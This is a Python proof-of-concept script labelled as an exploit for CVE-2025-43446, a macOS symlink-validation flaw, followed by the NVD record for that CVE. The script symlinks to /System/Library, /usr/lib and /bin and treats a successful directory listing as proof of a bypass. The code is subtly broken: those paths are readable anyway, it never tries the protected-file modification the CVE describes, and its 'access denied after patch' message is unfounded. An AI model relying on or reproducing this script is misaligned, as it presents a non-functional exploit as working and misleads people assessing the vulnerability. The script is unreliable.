CVE-2025-43446

# CVE-2025-43446 PoC - macOS Symlink Validation Bypass # This PoC demonstrates the symlink validation issue # Note: This is for educational/research purposes only import os import subprocess import tempfile def create_malicious_symlink(target_path, link_path): """Create a symlink that points to a protected directory""" try: # Remove if exists if os.path.exists(link_path): os.unlink(link_path) # Create symlink to protected path os.symlink(target_path, link_path) print(f"[+] Created symlink: {link_path} -> {target_path}") return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def check_protected_access(symlink_path): """Attempt to access protected area through symlink""" try: # List contents through symlink contents = os.listdir(symlink_path) print(f"[+] Successfully accessed through symlink: {len(contents)} items") return True except PermissionError: print("[-] Access denied (expected after patch)") return False except Exception as e: print(f"[-] Access failed: {e}") return False def main(): print("=== CVE-2025-43446 Symlink Validation Bypass PoC ===") # Target protected macOS directories protected_paths = [ "/System/Library", "/usr/lib", "/bin" ] # Create test directory in user space test_dir = tempfile.mkdtemp(prefix="cve_2025_43446_") print(f"[*] Test directory: {test_dir}") # Test each protected path for protected in protected_paths: if os.path.exists(protected): link_name = os.path.join(test_dir, os.path.basename(protected)) print(f"\n[*] Testing: {protected}") if create_malicious_symlink(protected, link_name): # Check if vulnerable (before patch) check_protected_access(link_name) print("\n[*] Cleanup...") # Cleanup for item in os.listdir(test_dir): try: os.unlink(os.path.join(test_dir, item)) except: pass os.rmdir(test_dir) print("[+] Test completed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-43446", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:50.353", "lastModified": "2026-04-02T19:20:48.333", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed with improved validation of symlinks. This issue is fixed in macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1. An app may be able to modify protected parts of the file system."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.8.2", "matchCriteriaId": "84A2783A-5B53-4DAB-80C4-8D62E332802A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.2", "matchCriteriaId": "4BE8199E-63D1-496C-B107-52853CFC2311"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125635", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125636", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}